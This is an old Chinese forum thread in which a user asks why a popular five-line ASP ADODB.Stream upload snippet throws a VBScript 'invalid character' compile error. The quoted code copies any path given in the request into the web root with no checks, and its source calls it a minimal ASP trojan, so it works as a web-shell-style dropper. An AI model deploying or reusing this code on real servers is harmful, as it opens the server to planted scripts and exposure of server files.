设为首页收藏本站

新微赢技术网

 找回密码
 注册
搜索
热搜: 回贴
查看: 31|回复: 1
打印 上一主题 下一主题

听说五行代码实现图片上传

[复制链接]
跳转到指定楼层
1#
发表于 2010-1-15 02:09:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
[讨论]请教:一段网上的代码

网上流行着asp五行代码实现上传图片,可本人在调试第一段代码时出现错误:
技术信息(用于支持人员)

错误类型:
Microsoft VBScript 编译器错误 (0x800A0408)
无效字符
/asp_test/upload.asp, line 12
   objStream.Type=1


浏览器类型:
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)

网页:
GET /asp_test/upload.asp

以下是网上流行的内容,请问此代码的错误原因是什么??objStream.Type=1为什么错误的呢?

目前有很多无组件上传类,大多写的相当复杂,有的居然还只能传文本,最关键的是没有10行代码以下的。

  其实无组件上传最核心的代码就是ADODB.Stream,实际只用五行代码就可以实现了无组件上传。

  Set objStream = Server.CreateObject("ADODB.Stream")
  objStream.Type = 1
  objStream.Open
  objStream.LoadFromFile Request("upfilename")
  objStream.SaveToFile Server.MapPath("test.gif"),2

  使用方法:

  把上面的代码写成upload.asp,在浏览器里面输入http://localhost/upload.asp?upfilename=c:\test\test.gif

  localhost为你的主机地址,执行完后你会看到你的目录下面多了一个test.gif,他就是你要文件拉。

  根据原理我们可以扩展以下代码,算一个最小的ASP木马吧,有一点值得注意,上传的本地文件路径不能包含中文字符,否则会出错。

  upload.asp文件

<%
Function GetFileName(ByVal strFile)
If strFile <> "" Then
GetFileName = mid(strFile,InStrRev(strFile, "\")+1)
Else
GetFileName = ""
End If
End function

strFileName = Request.Form("upfilename")
If strFileName<>"" Then
Set objStream = Server.CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.LoadFromFile strFileName
objStream.SaveToFile Server.MapPath(GetFileName(strFileName)),2
objStream.Close
response.write "OK!"
Else
%>
<form action='<%= Request.ServerVariables("URL") %>' method='post'>
<input type='file' name='upfilename'> <input type='submit'></form>
<%
End if
%>
您需要登录后才可以回帖 登录 | 注册

本版积分规则

申请友链|小黑屋|最新主题|手机版|新微赢技术网 ( 苏ICP备08020429号 )  

GMT+8, 2024-11-19 06:23 , Processed in 0.112438 second(s), 9 queries , Gzip On, Memcache On.

Powered by xuexi

© 2001-2013 HaiAn.Com.Cn Inc. 寰耽

快速回复 返回顶部 返回列表